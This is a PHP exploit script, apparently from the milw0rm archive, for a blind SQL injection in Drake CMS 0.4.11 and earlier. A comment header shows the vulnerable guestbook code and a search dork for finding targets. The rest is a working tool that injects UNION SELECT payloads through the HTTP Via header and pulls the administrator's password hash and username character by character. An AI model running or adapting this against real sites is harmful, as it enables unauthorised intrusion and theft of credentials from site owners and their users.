Drake CMS <= 0.4.11 Remote Blind SQL Injection Exploit

                                                <?php

/*
	------------------------------------------------------
	Drake CMS <= 0.4.11 Remote Blind SQL Injection Exploit
	------------------------------------------------------

	author...: EgiX
	mail.....: n0b0d13s[at]gmail[dot]com
	
	link.....: http://drakecms.sourceforge.net/
	dork.....: "Powered by Drake CMS" inurl:index.php?option=guestbook
	
	[-] Blind SQL Injection in /components/guestbook/guestbook.php

	15.	case "insert" :
	16.		if (!$my->gid) {
	17.			if ('' === ($gb_name = in('gb_name', __SQL | __NOHTML, $_POST, '', 50))
	18.				|| ('' === ($gb_email = in('gb_email', __SQL | __NOHTML, $_POST, '', 50)))
	19.				|| !is_email($gb_email)
	20.				)
	21.				CMSResponse::Back(_FORM_NC);
	22.		} else {
	23.			$gb_name = $my->name;
	24.			$gb_email = $my->email;
	25.		}
	26.	
	27.		$timeout = $params->get('timeout',5);
	28.	
	29.		$row = $conn->GetRow("SELECT id,ip,date FROM #__guestbook WHERE ip ='".$my->GetIP()."' AND date > '".($time-($timeout*60))."' "); <==
	30.	
	31.		if(!count($row)) {
	32.			if ($params->get('captcha') && !$my->valid_captcha())
	33.				break;
	34.			
	35.			$gb_url = in('gb_url', __SQL | __NOHTML, $_POST, '');
	36.			$gb_country = in('gb_country', __SQL | __NOHTML, $_POST, '', 50);
	37.			$gb_title = in('gb_title', __SQL | __NOHTML, $_POST, '', 255);
	38.			$gb_message = in('gb_message', __SQL | __NOHTML, $_POST, '');
	39.	
	40.			$conn->Insert('#__guestbook', '(name,email,url,country,title,message,ip,date)',"'$gb_name','$gb_email','$gb_url', (...)
	41.	
	42.		} else
	43.			echo _GUESTBOOK_DOUBLE_SIGN;
	
	if you analize GetIP() function defined into /classes/user.php (lines 61-66) you can see that an attacker
	could be inject arbitrary SQL code through http via header...this results in a blind SQL injection at line 29
	
	[-] look at /includes/retrieve_ip.php
	
	69.		if(isset($_SERVER['HTTP_VIA'])) {
	70.			// case 2: 
	71.			// proxy && HTTP_(X_) FORWARDED (_FOR) not defined && HTTP_VIA defined
	72.			// other exotic variables may be defined 
	73.			return ( $_SERVER['HTTP_VIA'].$x_coming_from.$coming_from ) ; <== this is the same value returned from GetIP()
	74.		}
	
*/

error_reporting(0);
set_time_limit(0);
ini_set("default_socket_timeout", 5);

function http_send($host, $packet)
{
	$sock = fsockopen($host, 80);
	while (!$sock)
	{
		print "\n[-] No response from {$host}:80 Trying again...\n";
		$sock = fsockopen($host, 80);
	}
	fputs($sock, $packet);
	while (!feof($sock)) $resp .= fread($sock, 1024);
	fclose($sock);
	return $resp;
}

function check_query($sql)
{
	global $host, $path;
	
	$payload = "gb_name=null&gb_email=foo%40bar.com&task=insert";
	$packet  = "POST {$path}index.php?option=guestbook HTTP/1.0\r\n";
	$packet .= "Host: {$host}\r\n";
	$packet .= "Via: {$sql}\r\n";
	$packet .= "Content-Type: application/x-www-form-urlencoded\r\n";
	$packet .= "Content-Length: ".strlen($payload)."\r\n";
	$packet .= "Connection: close\r\n\r\n";
	$packet .= $payload;

	return (!preg_match("/UNION\/\*\*\/SELECT/", http_send($host, $packet)));
}

print "\n+----------------------------------------------------------------+";
print "\n| Drake CMS <= 0.4.11 Remote Blind SQL Injection Exploit by EgiX |";
print "\n+----------------------------------------------------------------+\n";

if ($argc < 3)
{
	print "\nUsage......:	php $argv[0] host path [userid] [prefix]\n";
	print "\nhost.......:	target server (ip/hostname)";
	print "\npath.......:	path to Drake CMS directory (example: / or /drake/)";
	print "\nuserid.....:	user id (default: 1 - admin)";
	print "\nprefix.....:	table's prefix (default: dk_)\n";
	die();
}

$host = $argv[1];
$path = $argv[2];
$uid  = (isset($argv[3]) ? $argv[3] : "1");
$pre  = (isset($argv[4]) ? $argv[4] : "dk_");

$hash = array(0,48,49,50,51,52,53,54,55,56,57,97,98,99,100,101,102);
$index = 1; $md5 = "";
print "\n[-] MD5 Hash: ";

while (!strpos($md5, chr(0)))
{
	for ($i = 0, $n = count($hash); $i <= $n; $i++)
	{
  		if ($i == $n) die("\n\n[-] Exploit failed...\n");
		$sql = "-1'/**/UNION/**/SELECT/**/password,1,1/**/FROM/**/{$pre}users/**/WHERE/**/ORD(SUBSTR(password,{$index},1))={$hash[$i]}/**/AND/**/id={$uid}/*";
		if (check_query($sql)) { $md5 .= chr($hash[$i]); print chr($hash[$i]); break; }
	}

	$index++;
}

$char = array(0); // null char
for ($j = 97; $j <= 122; $j++) $char = array_merge($char, array($j)); // a-z
for ($j = 65; $j <= 90; $j++) $char = array_merge($char, array($j)); // A-Z
for ($j = 48; $j <= 57; $j++) $char = array_merge($char, array($j)); // 0-9

$index = 1; $user = "";
print "\n[-] Username: ";

while (!strpos($user, chr(0)))
{
	for ($i = 0, $n = count($char); $i <= $n; $i++)
	{
  		if ($i == $n) die("\n\n[-] Exploit failed...\n");
		$sql = "-1'/**/UNION/**/SELECT/**/username,1,1/**/FROM/**/{$pre}users/**/WHERE/**/ORD(SUBSTR(username,{$index},1))={$char[$i]}/**/AND/**/id={$uid}/*";
		if (check_query($sql)) { $user .= chr($char[$i]); print chr($char[$i]); break; }
	}

	$index++;
}

print "\n\n[-] Successfull!\n";

?>

# milw0rm.com [2008-04-07]